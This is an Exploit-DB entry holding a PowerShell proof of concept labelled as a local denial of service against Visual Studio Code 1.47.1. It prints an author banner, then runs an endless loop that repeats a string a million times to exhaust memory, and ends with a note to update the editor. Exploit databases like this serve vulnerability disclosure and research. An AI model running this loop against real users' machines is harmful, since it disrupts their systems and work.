Exploit-DB #49882
Description: Visual Studio Code 1.47.1 - Denial of Service (PoC)
Type: local
Platform: windows
Date: 2021-05-19
Author: H.H.A.Ravindu Priyankara

Exploit:
# Exploit Tittle: Visual Studio Code 1.47.1 - Denial of Service (Poc)
# Exploit Author: H.H.A.Ravindu Priyankara
# Category: Denial of Service(DOS)
# Tested Version:1.47.1
# Vendor: Microsoft
# Software Download Link:https://code.visualstudio.com/updates/

Write-Host "
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    |" -ForegroundColor Yellow -NoNewline; Write-Host " Exploit Tittle :-" -ForegroundColor Green -NoNewline; Write-Host "  Visual Studio Code (VS Code) Denial of Service               " -ForegroundColor Cyan -NoNewline; Write-Host "                      |
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    |" -ForegroundColor Yellow -NoNewline; Write-Host " Author         :-" -ForegroundColor Green -NoNewline; Write-Host "  H.H.A.Ravindu.Priyankara  " -ForegroundColor Cyan -NoNewline; Write-Host "                                                         |
    |                                                                                                       |
    |" -ForegroundColor Yellow -NoNewline; Write-Host " Github         :-" -ForegroundColor Green -NoNewline; Write-Host "  https://github.com/Ravindu-Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host "                                             |
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    |" -ForegroundColor Yellow -NoNewline; Write-Host " Youtube        :-"-ForegroundColor Green -NoNewline; Write-Host "  https://www.youtube.com/channel/UCKD2j5Mbr15RKaXBSIXwvMQ " -ForegroundColor Cyan -NoNewline; Write-Host "                          |
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    |" -ForegroundColor Yellow -NoNewline; Write-Host " Linkedin       :-"-ForegroundColor Green -NoNewline; Write-Host "  https://www.linkedin.com/in/ravindu-priyankara-b77753209/ " -ForegroundColor Cyan -NoNewline; Write-Host "                         |
    *-------------------------------------------------------------------------------------------------------*"-ForegroundColor Yellow 

[string]$Userinpts = Read-Host -Prompt "Enter Run or Stop:-"
if ($Userinpts -eq "Run") {
    Write-Output "Yeah I Know"
    while ($True) {
        $name = "AAAAAAA"
        $name * 1000000
    }
    #or
    #$name = "AAAAAAA"
    #$name * 1000000
}
if ($Userinpts -eq "Stop") {
    exit
}

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#==================== solution ============================ 
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#Update Your Visual Studio Code Application
#    1.47.1 version ==> 1.56.0 version

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